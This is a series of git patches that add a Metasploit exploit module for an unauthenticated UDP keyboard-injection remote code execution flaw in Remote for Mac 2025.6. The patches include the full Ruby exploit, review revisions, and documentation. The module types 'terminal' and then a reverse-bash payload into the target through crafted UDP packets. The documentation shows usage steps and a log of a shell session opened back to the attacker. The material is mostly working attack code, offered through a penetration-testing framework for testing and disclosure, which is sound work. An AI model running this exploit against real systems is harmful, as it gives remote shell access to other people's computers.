From 374407fc79ed7e79ae52d918dad1f25d3d0998c5 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 29 May 2025 06:41:20 +0100 Subject: [PATCH 1/8] Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE --- .../osx/misc/remote_for_mac_udp_rce.rb | 139 ++++++++++++++++++ 1 file changed, 139 insertions(+) create mode 100644 modules/exploits/osx/misc/remote_for_mac_udp_rce.rb diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb new file mode 100644 index 0000000000000..84adad790c01c --- /dev/null +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -0,0 +1,139 @@ + +require 'msf/core' +require 'json' +require 'socket' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Remote for Mac 2025.6 UDP Keyboard Input Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability + in Remote for Mac 2025.6. By sending crafted UDP packets simulating keyboard + input, an attacker can execute arbitrary commands when "Allow unknown devices" + is enabled. + }, + 'Author' => ['Chokri Hammedi'], + 'License' => MSF_LICENSE, + 'References' => [['URL', 'https://packetstorm.news/files/id/196351/']], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Remote for Mac 2025.6', {}]], + 'DefaultTarget' => 0, + 'DefaultPayload' => 'cmd/unix/reverse_bash', + 'DisclosureDate' => '2025-05-27')) + + register_options( + [ + Opt::RHOSTS(), + Opt::RPORT(49229), + OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]), + OptString.new('TARGETURI', [true, 'Base URI path', '/']), + ] + ) + end + + def check_auth_disabled? + protocol = datastore['SSL'] ? 'https' : 'http' + vprint_status("Checking if authentication is disabled on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion") + + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'), + 'ctype' => 'application/json', + 'ssl' => datastore['SSL'], + 'rport' => datastore['RPORT'], + 'rhost' => datastore['RHOSTS'] + }) + + if res && res.code == 200 + json = JSON.parse(res.body) + if json['requires.auth'] == false + print_good("Authentication is disabled. Target is vulnerable.") + return true + else + print_error("Target requires authentication. Exploit aborted.") + return false + end + else + print_error("Failed to get a valid response from target") + return false + end + rescue ::Rex::ConnectionError, JSON::ParserError => e + print_error("Connection or parsing error: #{e.message}") + return false + end + end + +def exploit + unless check_auth_disabled? + fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable') + end + + udp_port = datastore['RPORT'] + target_ip = datastore['RHOSTS'] + + initial_packets_hex = [ + "07000200370001", + "07000200370001", + "060003002000", + "07000200370000", + "07000200370000" + ] + + final_packets_hex = [ + "07000200240001", + "07000200240000" + ] + + udp_sock = UDPSocket.new + udp_sock.connect(target_ip, udp_port) + + print_status("Simulating user input...") + initial_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.05) + end + + prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') + word = "terminal" + print_status("Launching terminal...") + word.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.send(pkt, 0) + select(nil, nil, nil, 0.1) + end + + final_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.1) + end + + sleep(2) + + shell_cmd = payload.encoded + print_status("Delivering payload...") + shell_cmd.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.send(pkt, 0) + select(nil, nil, nil, 0.1) + end + + print_status("Executing payload...") + final_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.1) + end + + print_good("Payload sent successfully. Check your handler for a session.") +ensure + udp_sock.close if udp_sock +end + + +end From 8a6d12a2f4b1b90c61450d9f174f99ef6888d0a3 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 29 May 2025 06:57:36 +0100 Subject: [PATCH 2/8] Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE --- .../osx/misc/remote_for_mac_udp_rce.rb | 179 +++++++++--------- 1 file changed, 93 insertions(+), 86 deletions(-) diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb index 84adad790c01c..fc5bfdf076bbc 100644 --- a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -1,5 +1,3 @@ - -require 'msf/core' require 'json' require 'socket' @@ -9,23 +7,36 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Remote for Mac 2025.6 UDP Keyboard Input Remote Code Execution', - 'Description' => %q{ - This module exploits an unauthenticated remote code execution vulnerability - in Remote for Mac 2025.6. By sending crafted UDP packets simulating keyboard - input, an attacker can execute arbitrary commands when "Allow unknown devices" - is enabled. - }, - 'Author' => ['Chokri Hammedi'], - 'License' => MSF_LICENSE, - 'References' => [['URL', 'https://packetstorm.news/files/id/196351/']], - 'Platform' => ['unix'], - 'Arch' => ARCH_CMD, - 'Targets' => [['Remote for Mac 2025.6', {}]], - 'DefaultTarget' => 0, - 'DefaultPayload' => 'cmd/unix/reverse_bash', - 'DisclosureDate' => '2025-05-27')) + super( + update_info( + info, + 'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. + When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets + without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute + arbitrary shell commands, achieving code execution as the current user. + + Tested on macOS Mojave and Ventura. + }, + 'Author' => ['Chokri Hammedi'], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://packetstorm.news/files/id/196351/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Remote for Mac 2025.6', {}]], + 'DefaultTarget' => 0, + 'DefaultPayload' => 'cmd/unix/reverse_bash', + 'DisclosureDate' => '2025-05-27' + ) + ) register_options( [ @@ -39,29 +50,29 @@ def initialize(info = {}) def check_auth_disabled? protocol = datastore['SSL'] ? 'https' : 'http' - vprint_status("Checking if authentication is disabled on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion") + vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion") begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'), - 'ctype' => 'application/json', - 'ssl' => datastore['SSL'], - 'rport' => datastore['RPORT'], - 'rhost' => datastore['RHOSTS'] + 'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'), + 'ctype' => 'application/json', + 'ssl' => datastore['SSL'], + 'rport' => datastore['RPORT'], + 'rhost' => datastore['RHOSTS'] }) if res && res.code == 200 json = JSON.parse(res.body) if json['requires.auth'] == false - print_good("Authentication is disabled. Target is vulnerable.") + print_good('Authentication is disabled. Target is vulnerable.') return true else - print_error("Target requires authentication. Exploit aborted.") + print_error('Authentication is enabled. Exploit aborted.') return false end else - print_error("Failed to get a valid response from target") + print_error('Unexpected response from target') return false end rescue ::Rex::ConnectionError, JSON::ParserError => e @@ -70,70 +81,66 @@ def check_auth_disabled? end end -def exploit - unless check_auth_disabled? - fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable') - end - - udp_port = datastore['RPORT'] - target_ip = datastore['RHOSTS'] - - initial_packets_hex = [ - "07000200370001", - "07000200370001", - "060003002000", - "07000200370000", - "07000200370000" - ] - - final_packets_hex = [ - "07000200240001", - "07000200240000" - ] - - udp_sock = UDPSocket.new - udp_sock.connect(target_ip, udp_port) - - print_status("Simulating user input...") - initial_packets_hex.each do |hexpkt| - udp_sock.send([hexpkt].pack('H*'), 0) - select(nil, nil, nil, 0.05) - end + def exploit + unless check_auth_disabled? + fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable') + end - prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') - word = "terminal" - print_status("Launching terminal...") - word.each_char do |ch| - pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') - udp_sock.send(pkt, 0) - select(nil, nil, nil, 0.1) - end + udp_port = datastore['RPORT'] + target_ip = datastore['RHOSTS'] + + initial_packets_hex = [ + '07000200370001', + '07000200370001', + '060003002000', + '07000200370000', + '07000200370000' + ] + + final_packets_hex = [ + '07000200240001', + '07000200240000' + ] + + udp_sock = UDPSocket.new + udp_sock.connect(target_ip, udp_port) + + print_status('Simulating system keyboard input to open Terminal...') + initial_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.05) + end - final_packets_hex.each do |hexpkt| - udp_sock.send([hexpkt].pack('H*'), 0) - select(nil, nil, nil, 0.1) - end + prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') + 'terminal'.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.send(pkt, 0) + select(nil, nil, nil, 0.1) + end - sleep(2) + final_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.1) + end - shell_cmd = payload.encoded - print_status("Delivering payload...") - shell_cmd.each_char do |ch| - pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') - udp_sock.send(pkt, 0) - select(nil, nil, nil, 0.1) - end + sleep(2) - print_status("Executing payload...") - final_packets_hex.each do |hexpkt| - udp_sock.send([hexpkt].pack('H*'), 0) - select(nil, nil, nil, 0.1) - end + shell_cmd = payload.encoded + print_status('Sending malicious payload to be executed...') - print_good("Payload sent successfully. Check your handler for a session.") -ensure - udp_sock.close if udp_sock -end + shell_cmd.each_char do |ch| + pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') + udp_sock.send(pkt, 0) + select(nil, nil, nil, 0.1) + end + final_packets_hex.each do |hexpkt| + udp_sock.send([hexpkt].pack('H*'), 0) + select(nil, nil, nil, 0.1) + end + print_good('Payload sent. Awaiting session...') + ensure + udp_sock.close if udp_sock + end end From 2d1f700935fc43705562569d375f00d48dad85b4 Mon Sep 17 00:00:00 2001 From: Chokri Hammedi <52697989+blue0x1@users.noreply.github.com> Date: Wed, 11 Jun 2025 17:19:10 +0000 Subject: [PATCH 3/8] Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb Co-authored-by: msutovsky-r7 --- modules/exploits/osx/misc/remote_for_mac_udp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb index fc5bfdf076bbc..9b9ae93920bc2 100644 --- a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS] + 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, From eda79be4bd2c461d3902ad8b2ad14823e1394236 Mon Sep 17 00:00:00 2001 From: Chokri Hammedi <52697989+blue0x1@users.noreply.github.com> Date: Wed, 11 Jun 2025 17:19:24 +0000 Subject: [PATCH 4/8] Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb Co-authored-by: msutovsky-r7 --- modules/exploits/osx/misc/remote_for_mac_udp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb index 9b9ae93920bc2..1b8c060d84d1d 100644 --- a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] }, - 'Platform' => ['unix'], + 'Platform' => ['unix','osx'], 'Arch' => ARCH_CMD, 'Targets' => [['Remote for Mac 2025.6', {}]], 'DefaultTarget' => 0, From a251694e2f4aa967af85e7d0d85a4e7456b24373 Mon Sep 17 00:00:00 2001 From: Chokri Hammedi <52697989+blue0x1@users.noreply.github.com> Date: Wed, 11 Jun 2025 17:20:03 +0000 Subject: [PATCH 5/8] Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb Co-authored-by: msutovsky-r7 --- modules/exploits/osx/misc/remote_for_mac_udp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb index 1b8c060d84d1d..4a8e97d8e8e55 100644 --- a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -62,7 +62,7 @@ def check_auth_disabled? 'rhost' => datastore['RHOSTS'] }) - if res && res.code == 200 + if res&.code == 200 json = JSON.parse(res.body) if json['requires.auth'] == false print_good('Authentication is disabled. Target is vulnerable.') From 6c65db52c5c6e90b78bf74e5e5f3f1a8230f8e2d Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 28 Aug 2025 08:57:21 +0200 Subject: [PATCH 6/8] Code rebase, fixing according to the comments --- .../osx/misc/remote_for_mac_udp_rce.rb | 108 +++++++----------- 1 file changed, 41 insertions(+), 67 deletions(-) diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb index 4a8e97d8e8e55..26ed3863a5a44 100644 --- a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Udp def initialize(info = {}) super( @@ -16,79 +17,54 @@ def initialize(info = {}) When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute arbitrary shell commands, achieving code execution as the current user. - - Tested on macOS Mojave and Ventura. }, 'Author' => ['Chokri Hammedi'], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://packetstorm.news/files/id/196351/'] ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Unix Shell', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true + }, + 'DefaultPayload' => 'cmd/unix/reverse_bash', + 'DisclosureDate' => '2025-05-27', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] - }, - 'Platform' => ['unix','osx'], - 'Arch' => ARCH_CMD, - 'Targets' => [['Remote for Mac 2025.6', {}]], - 'DefaultTarget' => 0, - 'DefaultPayload' => 'cmd/unix/reverse_bash', - 'DisclosureDate' => '2025-05-27' + } ) ) - - register_options( - [ - Opt::RHOSTS(), - Opt::RPORT(49229), - OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]), - OptString.new('TARGETURI', [true, 'Base URI path', '/']), - ] - ) end - def check_auth_disabled? - protocol = datastore['SSL'] ? 'https' : 'http' - vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion") - - begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'), - 'ctype' => 'application/json', - 'ssl' => datastore['SSL'], - 'rport' => datastore['RPORT'], - 'rhost' => datastore['RHOSTS'] - }) - - if res&.code == 200 - json = JSON.parse(res.body) - if json['requires.auth'] == false - print_good('Authentication is disabled. Target is vulnerable.') - return true - else - print_error('Authentication is enabled. Exploit aborted.') - return false - end - else - print_error('Unexpected response from target') - return false - end - rescue ::Rex::ConnectionError, JSON::ParserError => e - print_error("Connection or parsing error: #{e.message}") - return false - end - end + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion') + }) - def exploit - unless check_auth_disabled? - fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable') - end + return CheckCode::Safe('Application might not be Remote For Mac') unless res&.code == 200 + + json_body = res.get_json_document + auth_enabled = json_body.fetch('requires.auth', nil) - udp_port = datastore['RPORT'] - target_ip = datastore['RHOSTS'] + return CheckCode::Appears('Authentication is disabled, target is vulnerable') if auth_enabled == 'false' + CheckCode::Detected('Remote For Mac detected, but authentication enabled') + end + + def exploit initial_packets_hex = [ '07000200370001', '07000200370001', @@ -102,27 +78,27 @@ def exploit '07000200240000' ] - udp_sock = UDPSocket.new - udp_sock.connect(target_ip, udp_port) + udp_sock = connect_udp print_status('Simulating system keyboard input to open Terminal...') initial_packets_hex.each do |hexpkt| - udp_sock.send([hexpkt].pack('H*'), 0) + udp_sock.put([hexpkt].pack('H*')) select(nil, nil, nil, 0.05) end prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') 'terminal'.each_char do |ch| pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') - udp_sock.send(pkt, 0) + udp_sock.put(pkt) select(nil, nil, nil, 0.1) end final_packets_hex.each do |hexpkt| - udp_sock.send([hexpkt].pack('H*'), 0) - select(nil, nil, nil, 0.1) + udp_sock.put([hexpkt].pack('H*')) end + print_status('Initial sequence finished, waiting for terminal to be spawned..') + sleep(2) shell_cmd = payload.encoded @@ -130,17 +106,15 @@ def exploit shell_cmd.each_char do |ch| pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') - udp_sock.send(pkt, 0) + udp_sock.put(pkt) select(nil, nil, nil, 0.1) end final_packets_hex.each do |hexpkt| - udp_sock.send([hexpkt].pack('H*'), 0) - select(nil, nil, nil, 0.1) + udp_sock.put([hexpkt].pack('H*')) end print_good('Payload sent. Awaiting session...') - ensure - udp_sock.close if udp_sock + disconnect_udp(udp_sock) end end From f9b8a9b95ea5a920dec94a707f618ffc5e868a90 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 28 Aug 2025 09:11:01 +0200 Subject: [PATCH 7/8] Adds more robust check method --- .../osx/misc/remote_for_mac_udp_rce.rb | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb index 26ed3863a5a44..4f8e68c419587 100644 --- a/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb +++ b/modules/exploits/osx/misc/remote_for_mac_udp_rce.rb @@ -1,11 +1,14 @@ -require 'json' -require 'socket' +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -21,7 +24,7 @@ def initialize(info = {}) 'Author' => ['Chokri Hammedi'], 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://packetstorm.news/files/id/196351/'] + ['PACKETSTORM', '196351'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, @@ -59,9 +62,18 @@ def check json_body = res.get_json_document auth_enabled = json_body.fetch('requires.auth', nil) - return CheckCode::Appears('Authentication is disabled, target is vulnerable') if auth_enabled == 'false' + return CheckCode::Detected('Remote For Mac detected, but authentication enabled') unless auth_enabled.to_s == 'false' - CheckCode::Detected('Remote For Mac detected, but authentication enabled') + version = json_body.fetch('version').to_s + + return CheckCode::Unknown('Could not determine target version') if version.empty? + + target_version = Rex::Version.new(version) + vulnerable_version = Rex::Version.new('2025.7') + + return CheckCode::Appears("Detected vulnerable version #{version} with authentication disabled") if target_version <= vulnerable_version + + CheckCode::Safe("Target version #{version} is not vulnerable") end def exploit From b177507041079aa74c01741549ed3bb839074f01 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 28 Aug 2025 09:27:32 +0200 Subject: [PATCH 8/8] Adds docs --- .../osx/misc/remote_for_mac_udp_rce.md | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 documentation/modules/exploit/osx/misc/remote_for_mac_udp_rce.md diff --git a/documentation/modules/exploit/osx/misc/remote_for_mac_udp_rce.md b/documentation/modules/exploit/osx/misc/remote_for_mac_udp_rce.md new file mode 100644 index 0000000000000..fa3fd99278ce8 --- /dev/null +++ b/documentation/modules/exploit/osx/misc/remote_for_mac_udp_rce.md @@ -0,0 +1,43 @@ +## Vulnerable Application + +The Remote For Mac app is a remote control software that allows you to turn your iPhone or iPad into a wireless remote controller for Mac. +The versions up to 2025.7 are vulnerable to unauthenticated UDP control. +This allows an attacker to send a sequence of UDP packets to the target and simulate keyboard input, +leaving an option for remote code execution. +The app can be downloaded from [here](https://rs.ltd/). + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/osx/misc/remote_for_mac_udp_rce` +1. Do: `set RPORT [HTTP port of Remote For Mac]` +1. Do: `set RHOST [target IP address]` +1. Do: `set LHOST [attacker IP]` +1. Do: `set LPORT [attacker port]` +1. Do: `run` + +## Options + +### RPORT + +The Remote For Mac spawn HTTPS server on semi-random port. +The HTTP server provides information about running version and whether the authentication is enabled. +The same port is also used for UDP protocol - this time, the port translated received packets into keyboard strokes. + +## Scenarios + +``` +msf6 exploit(osx/misc/remote_for_mac_udp_rce) > run verbose=true +[*] Started reverse TCP handler on 192.168.168.217:4444 +[*] Simulating system keyboard input to open Terminal... +[*] Initial sequence finished, waiting for terminal to be spawned.. +[*] Sending malicious payload to be executed... +[+] Payload sent. Awaiting session... +[*] Command shell session 3 opened (192.168.168.217:4444 -> 192.168.168.175:49197) at 2025-08-28 08:52:44 +0200 + +id +uid=501(ms) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) + +```